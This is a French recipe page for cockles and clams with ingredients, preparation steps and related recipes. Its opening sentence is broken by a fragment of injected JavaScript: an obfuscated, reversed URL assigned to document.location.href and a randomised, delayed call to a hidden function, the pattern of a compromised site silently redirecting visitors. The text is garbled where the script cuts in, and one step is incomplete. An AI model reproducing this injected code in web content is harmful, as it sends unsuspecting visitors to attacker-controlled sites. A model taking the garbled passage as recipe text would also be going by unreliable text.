Coques et palourdes

2021-05-07

Grattez, rincez sous le robinet d’eau froide les coques et les palourdes, puis faites les tremper tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toute une nuit dans une grande quantité d’eau froide.

Ingrédients

  • Pour 6 personnes
  • 2 kg de coques
  • 3 kg de palourdes
  • 4 brins de ciboulette ciselés
  • 2 oignons
  • 3 échalotes
  • poivre les 4 baies

Préparation de la recette

Etape 1

Grattez, rincez sous le robinet d'eau froide les coques et les palourdes, puis faites les tremper toute une nuit dans une grande quantité d'eau froide.

Etape 2

Pelez les oignons et les échalotes, hachez-les finement.

Etape 3

Dans une cocotte avec une cuillerée à soupe d'huile d'arachide sur feu moyen faites fondre les oignons et les échalotes, poivrez tout en remuant.

Etape 4

Activez le feu et incorporez les coquillages bien mélangé pour les enrober d'hachis d'oignons et d'échalotes pendant quelques minutes à couvert.

Etape 5

Les coquillages ouverts.

Etape 6

Servez dans des assiettes creuses avec des rondelles de citrons, parsemez de ciboulette. Dégustez.

Catégories : Ingrédients principaux : , , , ,
Note des membres

(0 / 5)

0 5 0
Notez cette recette

0 personne(s) ont noté cette recette

Related Recipes:
  • image de thon de fromage et d'un épis de maïs

    Cassolette de thon

  • image d'un homard et de pâtes

    Pâtes fraîches au homard

  • Pâtes aux coques

    Pâtes aux coques

  • Salade de spaghettis avec du saumon

    Salade de spaghettis avec du saumon

  • Rillettes de saumon à l’aneth

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *